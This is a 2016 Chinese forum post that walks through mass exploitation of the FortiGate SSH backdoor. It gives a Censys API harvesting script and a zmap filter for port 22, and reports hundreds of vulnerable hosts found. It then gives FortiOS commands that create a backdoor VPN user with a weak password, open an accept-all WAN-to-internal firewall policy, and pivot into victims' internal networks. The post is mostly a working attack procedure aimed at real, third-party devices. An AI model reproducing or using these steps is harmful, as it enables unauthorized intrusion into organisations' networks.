V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
cond0r
V2EX  ›  问与答

飞塔 SSH 后门 全网抽样测试与利用方法.md

  •  
  •   cond0r · 2016-01-13 16:15:22 +08:00 · 2091 次点击
    这是一个创建于 3019 天前的主题,其中的信息可能已经有所发展或是发生改变。

    测试过程

    1. Censys 拉取数据

    通过 censys 拉去了 50 页面的结果

    通过

    443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate
    

    关键字

    使用官方的 api 进行拉取,脚本如下:

    import sys
    
    import json
    
    import requests
    
    
    
    API_URL = "https://www.censys.io/api/v1"
    
    UID = "0"
    
    SECRET = "0"
    
    
    
    def get(page):
    
        data = {
    
            "query":"443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate", 
    
            "page":int(page), 
    
            "fields":["ip"]
    
        }
    
    
    
        res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)).text
    
       #print res
    
        results = json.loads(res)
    
    
    
        for result in results["results"]:
    
            print "%s" % (result["ip"])
    
    for i in range(1,50):
    
        get(i)
    

    2. 筛选出开放 22 端口的 ip

    原始数据长度:

    [root@xunzh 8]# cat ip.txt |wc
    
       4900    4900   74466
    
    [root@xunzh 8]#
    

    通过 zmap 进行数据筛选

    zmap -p 22 --whitelist-file ip.txt -o out.txt
    

    最终剩下

    [root@xunzh 8]# cat out.txt |wc
    
       1150    1150   16323
    

    3. 对其进行扫描

    通过修改原始测试脚本进行测试,添加多线程模块
    使用方法:

    python scan.py input.txt
    

    4. 总结

    扫描结果是存在 374 台漏洞机器,大约站了原始数据的 13 分之一 1 ,如果按照这个数量来计算,全网大约有 5000 台以上机器收到影响,将漏洞主机标注在地图上,结果大致如下:

    5. 利用方法

    先看下用户组

    show user group
    

    5.1 开启 vpn

    config vpn pptp
    
    set status enable
    
    set eip 192.168.200.100
    
    set sip 192.168.200.1
    
    set usrgrp Guest-group
    
    end
    
    
    
    config user local
    
    edit "guest"
    
    set type password
    
    set passwd 123456
    
    next
    
    end
    
    
    
    config user group
    
    edit "Guest-group"
    
    set profile "unfiltered"
    
    set member "guest"
    
    next
    
    end
    
    
    
    config firewall policy
    
    edit 9
    
    set srcintf "wan1"
    
    set dstintf "internal"
    
    set srcaddr "all"
    
    set dstaddr "all"
    
    set action accept
    
    set schedule "always"
    
    set service "ANY"
    
    next
    
    end
    

    如果执行完毕和上图一样,没有出现任何错误便是成功了,然后在本机新增一个 pptp 的 vpn 链接即可。

    5.2 内网进一步渗透

    拨号进入内网以后便可以对内网进行渗透了,具体方法就不详细描述了!

    查看路由表

    get router info routing-table all
    

    这里已经成功连接上,并使用 nmap 扫描,这里记得你是防火墙 root ,所以你想去哪就去哪,想干嘛就干嘛。

    来源:

    http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-x-up-to-5-0-7%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%88%A9%E7%94%A8-html.html

    http://tools.pwn.ren/2016/01/12/%E9%9A%8F%E6%9C%BA4900%E5%8F%B0%E6%9C%BA%E5%99%A8%E6%A0%B7%E6%9C%AC%E6%B5%8B%E8%AF%95%E6%8A%A5%E5%91%8A.html

    1 条回复    2016-01-13 16:22:42 +08:00
    clino
        1
    clino  
       2016-01-13 16:22:42 +08:00
    这个防火墙是干什么的? 用户很多吗?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1299 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 17:40 · PVG 01:40 · LAX 10:40 · JFK 13:40
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.